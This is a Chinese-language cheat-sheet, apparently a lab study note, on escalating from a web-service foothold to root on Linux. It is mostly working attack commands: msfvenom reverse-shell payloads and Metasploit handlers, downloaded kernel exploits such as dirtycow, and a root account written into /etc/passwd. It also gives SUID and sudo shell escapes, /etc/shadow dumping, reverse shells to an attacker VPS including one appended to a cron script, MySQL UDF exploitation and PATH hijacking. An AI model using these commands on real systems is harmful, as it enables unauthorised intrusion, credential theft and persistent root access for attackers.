优秀的人,不是不合群,而是他们合群的人里面没有你
目标
通过Web服务拿下服务器的基础权限以后(www-data),如何提权值最高的系统权限(root)。
提权的前提条件
- 获取服务器的基础权限。
- 能上传或者下载文件。
- 靶机上面有常见工具或者环境,例如nc,python或者Perl。
必用命令
uname -a # 查看内核/操作系统/cpu信息
hend -n 1 /etc/issue # 查看操作系统版本
cat /proc/version # 查看系统信息
whoami
pwd
id
cd /tmp 这个最重要,因为当前目录不一定有权限写入文件
weget 下载exp
chmod +x 很重要
kali的shell上传文件,将桌面的nc上传到目标的bbjd文件夹下
upload nc.exe "C:\Documents and Settings\bbjd\nc.exe"
kali的shell下载,将靶机的etc/passwd文件下载到kali
download /etc/passwd
msf提权
在kali下生成木马,本机ip是114
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.65.136 lport=4444 -f elf > 4444.elf
将4444.elf上传到目标靶机tmp目录,添加权限
在msf下监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
在靶机下执行
./4444.elf
方法一
getuid 查看权限
load priv 尝试直接提权
方法二
本地exp提权查询
使用bg来后台运行shell
bg
use post/multi/recon/local_exploit_suggester
options
set session 1
run
然后就会自动跑exp,把能用的exp展示出来,接下来就很简单了
use 0
options
设置一下
run
根据提示切换sessions
利用内核漏洞进行提权
- 首先查看系统Linux的发行版本:
cat /etc/issue
cat /etc/*-release
查看内核版本,或者上传一键搜集脚本,执行获取信息,用linux_info.sh
uname -a
#centos
hostnamectl #查看系统版本内核详细信息,推荐这个命令#ubuntu
lsb_release -a
使用脚本可以实现一键搜集,把linux_info.sh脚本上传到靶机chmod+x给予权限后,./执行一下就可以,主要看内核版本以及提示哪些cve可以提权
Kernel version: 3.19.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 15.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
- 查看是否具有内核溢出漏洞
比如通过上面方法发现版本是3.19.0
搜索一下这个版本可能的漏洞
searchsploit 3.19
# 不要带后面的.0啊~~
找到了,需要注意的是后缀是c的才能执行,然后查到在哪个位置
locate linux/local/37292.c
返回结果:
/usr/share/exploitdb/exploits/linux/local/37292.c
使用cp复制到桌面,cat看看这个文件怎么用
└─$ pwd
/home/kali/Desktop
┌──(kali㉿kali)-[~/Desktop]
└─$ cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop/666.c
注意大小写
接下来就是正常上传到靶机执行看看
kali的socat:python -m http.server 8088
靶机的socat:wget http://192.168.65.129:8088/666.c
靶机的socat:chmod +x 666.c
靶机的socat:cat 666.c
返回信息
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
在这里可以看到使用方法
靶机的socat:gcc 666.c -o ofs
靶机的socat:./ofs
靶机的socat:id
就可以看到是root权限了
CVE提权
同样使用一键搜集脚本,通过内核版本提权后,还可以通过cve提权,查看脚本返回的cve信息,试一试搜索dirtycow,搜不出来就减少关键词搜索,这个道理在哪儿都通用个
searchsploit dirtycow
searchsploit dirty
然后就是一个一个试一试,看看哪个能用,看看符合内核版本是首选要求,然后看看
kali的socat:locate linux/local/40847.cpp
kali的socat:cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop/777.cpp
kali的socat:python -m http.server 8088
靶机的socat:wget http://192.168.65.129:8088/777.cpp
靶机的socat:chmod +x 777.cpp
靶机的socat:cat 777.cpp
看看使用方法返回信息
// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
然后执行
靶机的socat:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 777.cpp -lutil
靶机的socat:./dcow -s
配置权限错误(权限维持),修改etcpasswd
前提是etc/passwd任意以用户可写,条件比较苛刻
先看看是不是可读可写
ls -al /etc/passwd
第一步下载靶机的etc/passwd,在kali的msf的shell中下载
download /etc/passwd
第二步用kali生成一个账号tophack,密码123456
openssl passwd -1 -salt tophack 123456
将生成的账号修改格式添加到passwd中
tophack:$1$tophack$JCylzuJGEJYZbmjNfBb6X.:0:0:/root:/bin/bash
第三步上传passwd到靶机,在kali的msf的shell中上传
upload passwd /etc/passwd
显然权限不够失败了,成功了的话就可以直接ssh登陆了
SUID滥用提权
让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。
GTFOBins(sudo滥用和SUID提权命令查询)
https://gtfobins.github.io
运行suid的程序时,这个程序的进程euid是创建者的用户id,且按照euid的权限执行进程代码,这意味着我们如果这个程序能调用/bin/sh,他的权限将会按照euid的身份新起一个拥有euid权限的会话shell
注:但是调用/bin/bash将不会提权,因为/bin/bash在启动后,首先判断euid和ruid是否相同,如果不相同,他会利用权限更低的ruid(如果ruid的权限比euid低),自动进行降权处理
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
下面用find命令举例子
find命令提权
靶机执行:find / -perm -4000
看看后缀是啥
找到有find执行权限的目录,然后看看后面的后缀是啥,比如有find
注意这里有SUID字样,说明就可以用SUID方式提权
find . -exec /bin/sh \; -quit
find . -exec '/bin/sh' \;
find xx.txt -exec /bin/sh \; -quit
find 当前目录下任意一个文件 -exec /bin/sh \; -quit
执行一下
找到有find执行权限的目录,然后看看后面的后缀是啥,比如有eexxx,然后cd到这个目录下,用网址搜索eexxx
find提权拓展知识
使用命令:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。
使用suid提权这里的前提都是要有suid权限。
find 具有suid权限的filename -exec /bin/sh -p \; -quit
find 具有suid权限的filename -exec '/bin/sh' -p \; -quit
find /tmp/suid -exec whoami \; -quit
还可以反弹shell
find /etc/passwd -exec bash -c "bash -i >& /dev/tcp/"VPS的ip"/"VPS的端口" 0>&1" \;
nmap提权
进入nmap交互模式:(适用版本:nmap2.02~5.21)
nmap --interactive
交互模式中提权:
nmap> !sh
sh-3.2# whoami
root
没有交互的最新方式:(全版本通杀提权)
echo "os.execute('/bin/bash')" > /tmp/shell
nmap --script=/tmp/shell
Vim提权
以SUID运行,继承root用户的权限,因此可以读取系统上的所有文件。
vim /etc/passwd
:set shell = '/bin/sh'
:shell
less提权
less /etc/passwd
#在less中输入:
!/bin/sh
注意:使用more和less命令,一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。
more提权
more /etc/passwd
#在more中输入:
!/bin/sh
注意:使用more和less命令,一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。
nano提权
nano
#进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
cp、mv提权
使用cp、mv命令覆盖原来的/etc/passwd文件。
我感觉还是慎用!!别把目标弄坏了
[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/
[zabbix@localhost ~]$ cp passwd /etc/passwd #mv passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
awk提权
awk 'BEGIN {system("/bin/bash")}'
man提权
man passwd
!/bin/bash
python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
python -c 'import os;os.system("/bin/sh")'
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
perl:
perl -e 'exec "/bin/bash";'
ruby:
ruby -e 'exec "/bin/bash";'
php:
php -a
#进入php shell
exec("/bin/bash");
SUDO滥用提权
GTFOBins(sudo滥用和SUID提权命令查询)
https://gtfobins.github.io
简而言之,就是看看那些命令可以sudo方法执行并不需要密码。
第一步:
sudo -l
显示了允许当前用户使用的命令,如下发现了可以以root权限执行awk命令并且不需要密码
第二步:
执行下面代码直接切换到root用户了,无需密码
sudo awk 'BEGIN{system("/bin/bash")}'
使用方法如下
find
find 命令用来在指定目录下查找文件,这里使用“exec”来执行/bin/bash,以访问root shell
sudo find /home -exec /bin/bash \;
cat和curl
cat 命令用户连接文件并打印到标准输出设备上。在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解
sudo cat /etc/shadow
同理
sudo curl file:///etc/shadow
zip
zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell
下载zip(如果没有)
apt install zip
创建一个1.txt,将其压缩为1.zip
执行
sudo zip 1.zip 1.txt -T –unzip-command=”sh -c /bin/bash”
git
输入
sudo git help add
回车如下输入
!/bin/bash
ed
sudo ed
!/bin/sh
提权命令汇总
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen
一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh
明文密码提权
要求:
能够读取shadow的内容
查看密码文件shadow
将密码保存到kali下
就爆破出密码了
计划任务提权
计划任务在Linux 中一般使用 Crontab,通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 Shell 脚本。
第一步
cat /etc/crontab
看看有没有正在运行的计划任务,一般都是xx.sh,假设发现xx.sh
第二步查看这个shell脚本权限
ls -l xx.sh
如果是
rwxrwxrwx 这样的权限,那就稳了
第四步,本地监听端口
nc -lvvp 1234
第五步,利用shell脚本去反弹
echo "bash -i >& /dev/tcp/监听的主机IP/1234 0>&1 " >> xx.sh
密码复用提权
- 很多网站管理员都会使用相同的密码,例如网站后台登录密码、数据库登录密码以及服务器系统登录密码可能都是相同的。
- 网站后台登录密码可能会存在的问题就是弱口令和暴力破解,获取到服务器的基础权限以后可以对服务器上面的文件进行读取,通过读取网站中连接数据库的配置文件可以获取数据库用户的登录密码。
- 也可以在webshall里面比如在etc/passwd里面搜集用户名,然后翻翻看有没有什么密码文件,汇总在一起爆破
对于疑似的root用户密码,可以尝试进行ssh远程连接,但是出于安全考虑很多情况下服务器都会禁止root用户远程登录,或者防火墙规则早就将你拒之门外了。同样通过web服务获取到的低权限shell中使用sudo命令不能奏效,也是处于安全性的考虑,Linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。所以需要利用python优化当前获取到的shell,恰巧在Linux操作系统中同样会默认安装python。
命令python -c “import pty;pty.spawn(‘/bin/bash’)”
优化shell以后检测当前用户使用sudo命令的权限
命令:sudo -l# 显示出自己(执行 sudo 的使用者)的权限 su root
MysqlUDF提权
文件末为.so,则为linux系统,如果是win,则后缀为dll
不同的操作系统,不同的版本,提权时导出udf.dll存放的目录不一样。
第一步,升级shell命令
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo
如果不方便就用socat
第二步查看mysql是否运行,默认端口3306,如果我们在最初的 nmap 扫描中发现 MySQL 可以从外部访问,那么这一步就已经完成了。
netstat -tulpn
第三步查看是谁启动的mysql
ps -ef | grep mysql
如果是root就爽了,不是就回家吧
第四步确认mysql版本
mysql -V
UDF 漏洞适用于 MySQL / MariaDB 版本 4.X 和 5.X
第五步寻找mysql数据库账号密码
如果有phpmyadmin更好,没有也没事,尝试登陆
mysql -u root
这要么让我们直接进入,要么告诉我们由于未提供密码而导致访问被拒绝。
不行的话应该尝试另一个常见的默认密码,即 toor 。为了提示我们输入密码,我们需要将“-p”标志传递到 mysql 命令中。
mysql -u root -p
如果还是不行的话,只能想办法找找其他账号密码来测试了!!有下面可能的方法
cd /home && ls -l
发现一个用户目录
cd 这个目录下
cat .bash_history
不行就找config这种配置文件!!
cd /var/www && ls -l
寻找config.php这种文件
cat config.php
如果你真的不想做第五步!!那就上脚本帮你做第五步吧!!
使用早就下载好的 linpeas.sh,用chmod给他权限,然后执行,就能看到自动帮你找到一些有用的东西甚至包括数据库账号密码.
或者直接写入一句话木马到小蚂蚁,在里面找起来更方便!!!在raven靶场笔记有!!!
第六步登陆mysql数据库
SHOW GRANTS;
# 查看权限
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV';
# 查看mysql写入文件位置的限制,如果是空,就说明哪儿都能写
SHOW VARIABLES LIKE 'PLUGIN_DIR';
# 获取插件的位置
- 当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,此时无法提权
- 当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权
- 当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可以提权
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';
看看能否远程登陆:
use mysql;
select user,host from user;
如果可以的话,直接
sqlmap.py -d "mysql://root:password@192.168.1.104:306/mysql" --os-shell
第七步下载exp
searchsploit udf
找到一个好用的
searchsploit -m 1518.c
把这个c文件命名为raptor_udf2.c,再上传到漏洞靶机上,使用gcc进行编译
如果发现没有gcc,可以使用suid提权的方法,找到别的路径的gcc
find / -iname "gcc" 2>/dev/null
然后编译
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
第八步
我们已经找到了漏洞利用的所有必要条件,如:MySQL以 root 身份运行、MySQL版本为5.x、MySQL超级用户凭据、安全文件权限设置为NULL(空白)、成功编译exploit。
接下来使用命令
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
然后继续
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
如果报错:file too short
使用命令手动复制过去
cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin
然后mysql继续执行上一条报错的语句,然后查看是否成功
select * from mysql.func;
如果出现
就搞定了
然后mysql直接执行
select do_system('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');
最后,要进入 root shell,我们可以简单地使用以下命令:
/tmp/bash -p
如果失败了,直接mysql执行
select do_system('chmod u+s /usr/bin/find');
然后利用find的suid漏洞提权
find /usr/lib/xxx.txt -exec whoami \; -quit
利用环境变量提权
假设发现一个脚本
/home/user5/script
下载这个脚本进行用ida反编译,发现内容
undefined8 main(void)
{
setuid(0);
setgid(0);
system("ls");
return 0;
}
执行这个脚本功能就是执行ls命令,通过劫持环境变量来达到提权目的
export PATH=/tmp:$PATH
# 编辑环境变量
echo "/bin/bash" > /tmp/ls
# 劫持变量,将bash替换成ls
chmod 777 /tmp/ls
# 给予权限
/home/user5/script
# 执行脚本,执行失败就用下面命令
cd /home/user5
./script